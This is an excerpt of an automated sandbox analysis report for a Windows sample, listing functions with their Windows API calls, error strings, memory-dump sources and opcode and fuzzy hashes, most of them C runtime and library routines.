Instruction Fuzzy Hash: BB519B62E0868381FB60EA16A8503BE6291BB89798F544135ED6EC7BE5FF3CF551C700

Function 00007FF6FB1FAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FB199

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 64dc175ebe5f387d8147aa219be35c50c73af6a678ecd55484cdaf28201a08d1
Instruction ID: f5e055fceffc53f5b794d61c64e7a08555c6d169ef99cdab7ceb5876c17f195e
Opcode Fuzzy Hash: 64dc175ebe5f387d8147aa219be35c50c73af6a678ecd55484cdaf28201a08d1
Instruction Fuzzy Hash: 85C1F226E1C68791EB61DB15A4403BE37A1FB98B88F550131DA6E877F1EE7CE855C300

Function 00007FF6FB1E33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6FB1E3534), ref: 00007FF6FB1E3411

Part of subcall function 00007FF6FB1E29E0: GetLastError.KERNEL32(?,?,?,00007FF6FB1E342E,?,00007FF6FB1E3534), ref: 00007FF6FB1E2A14
Part of subcall function 00007FF6FB1E29E0: FormatMessageW.KERNEL32(?,?,?,00007FF6FB1E342E), ref: 00007FF6FB1E2A7D
Part of subcall function 00007FF6FB1E29E0: MessageBoxW.USER32 ref: 00007FF6FB1E2ACF

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF6FB1E34B8
GetModuleFileNameW, xrefs: 00007FF6FB1E3422
Failed to resolve full path to executable %ls., xrefs: 00007FF6FB1E3461
\\?\, xrefs: 00007FF6FB1E3482
Failed to obtain executable path., xrefs: 00007FF6FB1E341B

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction ID: 1d8c0df6fd8a5ef8bde1ecc7c3af3fead7223a4fc5fc9a714621c32a0e5ca254
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: 89213D61F1864391FB26EB24E9513BE5290AF4C398F801236E67DC69F5FE2CE5048710

Function 00007FF6FB1F4938 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F4965
CreateFileW.KERNEL32 ref: 00007FF6FB1F49A4
CloseHandle.KERNEL32 ref: 00007FF6FB1F49D9

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction ID: 476057493f5560489294b66ecdfc4e74d91cd70a192fcd2b2411a668e4bec7d9
Opcode Fuzzy Hash: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction Fuzzy Hash: 29417122E1878343E754DB6195503796261FB9C7A8F109335E6AD83AE5FF6CA5F0C700

Function 00007FF6FB1EBF5C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FB1EC12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6FB1EC140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6FB1EBF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF6FB1EBFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6FB1EC041

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: 1944ed0c782d6a72df424f5b4e2c204f17b496fee78f094ca1a0ba810387238b
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: 2A311A25E0824381FB64EB6899653BD1281AF4978CF440034EA7ECBEF3FE2CB9448611

Function 00007FF6FB1EF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1EF4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1EF597

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 304c800bfc18b22a295e41f2f803514c44f0a5a87c6028a89610e4dcef950876
Instruction ID: 1adbaf364a4a0024140f1d7681e4dac30bb370f42e2754074938bbb80f9a2542
Opcode Fuzzy Hash: 304c800bfc18b22a295e41f2f803514c44f0a5a87c6028a89610e4dcef950876
Instruction Fuzzy Hash: 7B518062E0968346FB28DE26940067E6791AF8CBACF184634DD7D86BF5EF3CE441C610

Function 00007FFDFB381253 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFB38DC90

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FFDFB38DD40, 00007FFDFB38DD92

Memory Dump Source

Source File: 00000001.00000002.1991624093.00007FFDFB381000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFB380000, based on PE: true

Associated: 00000001.00000002.1991585735.00007FFDFB380000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB418000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB423000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB42D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992057570.00007FFDFB430000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb380000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c
API String ID: 1452528299-2209325370
Opcode ID: 40ce96e19bb8b63da36a7f13a6cc3432322cfce75248eb9035a6226d8607318d
Instruction ID: 6757c853e074a5703d7ab6686a80ec8e6cfb4a8861e0e33277fb57103123c987
Opcode Fuzzy Hash: 40ce96e19bb8b63da36a7f13a6cc3432322cfce75248eb9035a6226d8607318d
Instruction Fuzzy Hash: 8E41AD33B0AE4283EB20AF59D454A6973E1FB44B88F148139DA6C07BE8DF79E4598741

Function 00007FF6FB1F9E68 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,?,?,00007FF6FB1F9CE5,?,?,00000000,00007FF6FB1F9D9A), ref: 00007FF6FB1F9ED6
GetLastError.KERNEL32(?,?,?,00007FF6FB1F9CE5,?,?,00000000,00007FF6FB1F9D9A), ref: 00007FF6FB1F9EE0

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: a6cc17002dc50e9e85a16ba20153214398180aab3176f7972fe484a0553a904e
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: 78215E21F1868341FB94E761A59437D26929F8CBE8F085235DA3EC76FAEE6CE445C300

Function 00007FF6FB1FB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF6FB1FB5DD), ref: 00007FF6FB1FB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF6FB1FB5DD), ref: 00007FF6FB1FB49A

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: 6fbc9857c4937a9933242a782e48884cf24c36f4a7c08b1976389c8317e457e7
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: 1E11C465E18A8281DB20CB25A54417A6361AB48BF8F680331EE7E87BF9EE3CD050C700

Function 00007FF6FB1FB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FB1E4

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction ID: 03150745851d9494dfba7d3a81df21f2f884b34cb97f6064eefa8bbd481ea127
Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction Fuzzy Hash: 4C419E36D0820387EB34DA15E55127E73A0EB59B88F140231DAAEC76E1EF2CF502CB51

Function 00007FF6FB1E76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6FB1E774A

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: dcfd361712def83af12ecbe626be18c098a710ffdfeea99e1549849338d7a625
Instruction ID: 2c77d70b92bd71451f16a1fa1d91d6df9601d3ce8bf72cc8eeb6b4d1f6a0d6f3
Opcode Fuzzy Hash: dcfd361712def83af12ecbe626be18c098a710ffdfeea99e1549849338d7a625
Instruction Fuzzy Hash: CD216F21F0865345FB10EA56A9083BAA641BF4DBD8F884430EE2D96BD6EE7DF046C600

Function 00007FF6FB1FAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FACD2

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction ID: 584010f172b4cbb649e79453ea2faef52475fdc500b6b1be7d19eacbab0c1be0
Opcode Fuzzy Hash: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction Fuzzy Hash: B431C122E2865386F711EB1588413BD2660AF58BA9F520235DA7DC33F2EFBCE491C710

Function 00007FF6FB1F52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F5209

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: 18c1d2ee62bbe6ac451d10a3cebda90465851a5b82d96694ff170bbc2f223e22
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: EE119621E1D643C1EB60EF51D41017EA6A4BF99B88F444131EA6CD76E6EF3CE551C740

Function 00007FF6FB205664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB205687

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: 35c5d3a66de5790085d571a04a69aeacc9efa8447fc38a01dc92675fdc2eda2f
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: 0C218732A18A8386EB658F18D59037976A0EB9CBD4F145234D66DC76F9EF3DD441CB00

Function 00007FF6FB1EF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1EF730

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: 4c7fb3b905a1547dee916c8baf13a20a6da47b09726325c44894966dd1d14d2e
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: A601A121E0878340FB04DB56990106DA795EB99FE8F484631DE7C97BE6EE3CE512C300

Function 00007FF6FB1FC90C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF6FB1EFFB0,?,?,?,00007FF6FB1F161A,?,?,?,?,?,00007FF6FB1F2E09), ref: 00007FF6FB1FC94A

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: ee4ed4447ee058291ce304c9d2ea37237cb2e6f2edecaf518085abdf680383f6
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: BDF05E00F1824744FF28A66169112791280AF9C7A8F084630D83EC5AE5FE1CE541E210

Function 00007FF6FB1E81A0 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

LoadLibraryW.KERNEL32(?,00007FF6FB1E5C06,?,00007FF6FB1E308E), ref: 00007FF6FB1E81C2

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 637d93bcaba6b3ef3808867d80487fbb7a80e425bc13fea3da321eb74d5281f1
Instruction ID: e76e410ebf022b6ee35c45f00f2d646ad2c50ac7ac6e1535067692bfbd67e616
Opcode Fuzzy Hash: 637d93bcaba6b3ef3808867d80487fbb7a80e425bc13fea3da321eb74d5281f1
Instruction Fuzzy Hash: CED0C201F2824281FF54EB77BA4A67991519FCDBC4F489034EE2D83BA6ED3CD0904B00

Function 00007FFDFB397CD0 Relevance: 1.3, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFB397D01

Memory Dump Source

Source File: 00000001.00000002.1991624093.00007FFDFB381000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFB380000, based on PE: true

Associated: 00000001.00000002.1991585735.00007FFDFB380000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB418000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB423000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB42D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992057570.00007FFDFB430000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb380000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 561ed47e4d8abebcff930b8a0bcfa96a69a681b153cc9fc109ff1209d6cf9792
Instruction ID: e5d9ef02313b0711b454d0e5b342ba67b994b15040497920916b2e47789d19eb
Opcode Fuzzy Hash: 561ed47e4d8abebcff930b8a0bcfa96a69a681b153cc9fc109ff1209d6cf9792
Instruction Fuzzy Hash: CA219C32708B8187D758DB26E5916A9B7A1FB88BD4F048135EF9C43BA8CF78E455CB00

Non-executed Functions

Function 00007FFDFB00266C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 168COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FFDFB1CDE61
GetEnvironmentVariableW.KERNEL32 ref: 00007FFDFB1CDE82
GetEnvironmentVariableW.KERNEL32 ref: 00007FFDFB1CDE9D
GetEnvironmentVariableW.KERNEL32 ref: 00007FFDFB1CDEB8
